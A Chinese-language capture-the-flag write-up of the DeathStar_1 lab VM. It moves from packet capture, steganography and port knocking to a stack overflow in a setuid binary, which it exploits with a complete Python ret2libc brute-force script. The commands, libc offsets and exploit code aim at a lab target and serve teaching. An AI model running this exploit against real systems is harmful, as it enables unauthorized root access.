DeathStar_1靶机渗透

用tshark 来截取eth0网卡的流量

一般以.pcap后缀保存

tshark -i eth0 -f "host 192.168.17.134" -w ./tshark.pcap -P

读取该文件

tshark -r tshark.pcap -T fields -e data |tr -d ' '|xxd -r -ps
# -e data 提取应用层数据 其实有更多功能 tr -d ' ' 删除空格 xxd -r 反向解析,将16进制解析成2进制 -ps 以acsii形式输出

可以这样在命令后在加上一个xxd就能16进制与2进制ACSII字符一起查看

拿到信息

Thanks to the successful Operation Skyhook, the Rebel Alliance
got some plans for the new weapon of the Galactic Empire. We
know that there is a small opening that we can explore through a
thermal exhaust that is directly connected to the Main Reactor of the
Death Star. The superlaser takes 1440 minutes to reload.
It is very important to observe 'this window' in order to recover the blueprint.
This is because, it is only possible to make an attempt every 60 seconds.


Code to access the Death Star Blueprint
within the time it takes to reload is:  DS-1@OBS   

信息的关键字有几个1440 DS-1@OBS 60其中DS-1@OBS像是一个密码

再次扫描1440和60端口,包括udp扫描

$nmap -sU -sT  192.168.17.134 -p 60,1440 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-30 04:25 EDT
Nmap scan report for 192.168.17.134
Host is up (0.00040s latency).

PORT     STATE    SERVICE
60/tcp   filtered unknown
1440/tcp filtered eicon-slp
60/udp   closed   unknown
1440/udp open     eicon-slp
MAC Address: 00:0C:29:C6:15:5F (VMware)

能看到1440的开放udp

带密码去链接他

echo "DS-1@OBS" |nc -u 192.168.17.134  1440

拿到一大串编码

尝试进行解码

cat x |base64 -d > y

file命令查看文件格式

y: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 900x688, components 3

显示说是一个jpg图片

qiv 查看

提取一下文件的隐藏信息

steghide提取

└─$ steghide extract -sf y

要求输入密码,使用DS-1@OBS成功提取

获得

Each segment of the "unlock code" can only contain 3 characters sent in sequence to unlock port 10110.

这里是一个端口敲门技术来解锁10110端口

用gdb-peda进行反汇编

checksec

:检查安全机制

安全机制详解

1. CANARY: disabled

  • 作用:栈保护机制,防止栈溢出攻击
  • 原理:在函数栈帧中插入随机值(canary),函数返回前检查该值是否被修改
  • 状态disabled 表示禁用,程序容易受到栈溢出攻击

2. FORTIFY: disabled

  • 作用:编译时缓冲区溢出检测
  • 原理:替换不安全的字符串/内存操作函数为安全版本,在编译时检查缓冲区大小
  • 状态disabled 表示禁用,缺少运行时缓冲区检查

3. NX: ENABLED

  • 作用:数据执行保护
  • 原理:将内存页标记为不可执行,防止在栈或堆中执行恶意代码
  • 状态ENABLED 表示启用,有效防止代码注入攻击

4. PIE: disabled

  • 作用:位置无关可执行文件
  • 原理:程序基地址随机化,增加攻击者预测地址的难度
  • 状态disabled 表示禁用,程序加载地址固定

5. RELRO: Partial

  • 作用:重定位表只读保护
  • 原理
    • Partial RELRO:GOT表在初始化后变为只读
    • Full RELRO:所有重定位在程序启动时解析,整个GOT为只读
  • 状态Partial 提供部分保护,但不如Full RELRO安全

安全评估

这个配置显示程序的安全保护相对较弱,只有NX保护被启用,其他重要保护机制都被禁用或仅部分启用,使得程序容易受到各种内存破坏攻击。

对其进行反编译

disassemble /bin/dartVader
0x0804844d <+0>:     push   ebp                                │
   0x0804844e <+1>:     mov    ebp,esp                            │
   0x08048450 <+3>:     and    esp,0xfffffff0                     │
   0x08048453 <+6>:     sub    esp,0x50                           │
   0x08048456 <+9>:     cmp    DWORD PTR [ebp+0x8],0x1            │
   0x0804845a <+13>:    jne    0x8048470 <main+35>                │
   0x0804845c <+15>:    mov    DWORD PTR [esp+0x4],0x8048520      │
   0x08048464 <+23>:    mov    DWORD PTR [esp],0x1                │
   0x0804846b <+30>:    call   0x8048340 <errx@plt>               │
   0x08048470 <+35>:    mov    eax,DWORD PTR [ebp+0xc]            │
   0x08048473 <+38>:    add    eax,0x4                            │
   0x08048476 <+41>:    mov    eax,DWORD PTR [eax]                │
   0x08048478 <+43>:    mov    DWORD PTR [esp+0x4],eax            │
   0x0804847c <+47>:    lea    eax,[esp+0x10]                     │
   0x08048480 <+51>:    mov    DWORD PTR [esp],eax                │
   0x08048483 <+54>:    call   0x8048310 <strcpy@plt>             │
   0x08048488 <+59>:    leave                                     │
   0x08048489 <+60>:    ret    

其中用到了 strcpy@plt方法,没有错边界检查和用户输入限制

readelf -l /bin/dartVader

验证程序的栈执行权限

Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00648 0x00648 R E 0x1000
  LOAD           0x000f08 0x08049f08 0x08049f08 0x0011c 0x00120 RW  0x1000
  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x00056c 0x0804856c 0x0804856c 0x0002c 0x0002c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1

其中

GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10

只有读写权限

或者使用

scanelf -e dartVader

也能够验证

到这一步我们没有栈执行权限,考虑使用re2libc的绕过手段

ldd /bin/dartVader 			#查看连接的动态库

发现链接地址在不断变化,与之前checksec中的relro有关

可以用

cat /proc/sys/kernel/randomize_va_space

来验证这一点

0   为关闭
1   为部分随机化
2   为完全随机化

这台靶机为2完全随机化

可以尝试修改该配置文件的参数实现绕过

查看权限

0 -rw-r--r-- 1 root root 0 Oct 27 03:20 /proc/sys/kernel/randomize_va_space

没有写入权限,那这条路走不通

使用file命令能看到该程序是32位的

并且多次获取链接地址,地址随机范围不大,考虑撞一下

要利用re2libc我们还需要libc中system函数的位置和/bin/sh的位置或者说偏移量

先用ldd查看程序的链接库

linux-gate.so.1 =>  (0xb77d1000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7615000)
        /lib/ld-linux.so.2 (0xb77d3000)

然后用readelf命令寻找system exit方法的偏移量

readelf -s /lib/i386-linux-gnu/libc.so.6 |grep -E "(system|exit)@@"		#-s为符号表显示 -E为扩展正则表达式,不会将|和()进行转义 @@为默认版本可以更精确搜索避免搜到类似systemawdadadaw的方法
111: 00033690    58 FUNC    GLOBAL DEFAULT   12 __cxa_at_quick_exit@@GLIBC_2.10
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
   554: 000b8634    24 FUNC    GLOBAL DEFAULT   12 _exit@@GLIBC_2.0
   609: 0011e780    56 FUNC    GLOBAL DEFAULT   12 svc_exit@@GLIBC_2.0
   620: 00040310    56 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
   645: 00033660    45 FUNC    GLOBAL DEFAULT   12 quick_exit@@GLIBC_2.10
   868: 00033490    84 FUNC    GLOBAL DEFAULT   12 __cxa_atexit@@GLIBC_2.1.3
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
  1492: 000fb610    62 FUNC    GLOBAL DEFAULT   12 pthread_exit@@GLIBC_2.0
  2243: 00033290    77 FUNC    WEAK   DEFAULT   12 on_exit@@GLIBC_2.0
  2386: 000fc180     2 FUNC    GLOBAL DEFAULT   12 __cyg_profile_func_exit@@GLIBC_2.2

其中我们要用到的为

1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0

我们还需要sh的地址

strings -t x /lib/i386-linux-gnu/libc.so.6 (0xb752a000)|grep -E /bin/sh  		#-t为输出显示偏移量 x 为16进制输出

拿到偏移量

 162d4c /bin/sh

确认偏移值

msf-pattern_create来生成字符串

msf-pattern_create -l 100

并把它给到./dartVader,触发缓冲区漏洞后查看日志

dmesg|tail		#dmesg用于查看缓冲区消息

msf-pattern_offset 来确认缓冲区溢出位置

[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 76 (adjusted [ little-endian: -42 | big-endian: 783318 ] ) byte offset 0

大概在76

用其他手段验证,给到75长度,没有触发,给到76长度触发,确认在76长度触发缓冲区溢出

编写利用程序

#!/usr/bin/env python3
from struct import pack
from subprocess import call

offset = b"A"*76
libc=0xb752a000
system=libc+0x00040310
exit=libc+0x00033260
sh=libc+0x162d4c
buffer=offset+pack("<I",system)+pack("<I",exit)+pack("<I",sh)
app=b"/bin/dartVader"

for i in range(1024):
    print("Attempt %d" % i)
    ret=call([app,buffer])
    if ret == 0:
        print ("successful")
        break
else:
    print ("failed")

提权成功

bash -p 		#提升一下交互性
cat message.txt   #获取flag
Art by Shanaka Dias
                    .==.
                   ()''()-.
        .---.       ;--; /
      .'_:___". _..'.  __'.
      |__ --==|'-''' \'...;
      [  ]  :[|       |---\
      |__| I=[|     .'    '.
      / / ____|     :       '._
     |-/.____.'      | :       :
snd /___\ /___\      '-'._----'

-------------------------------------

Congratulations!!
You helped me destroy the empire's weapon.

-------------------------------------
If you had fun, love to get your feedback.
Send me a tweet @mrhenrike  ;)

Until the next VM and "May the force be with you".

到此结束

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇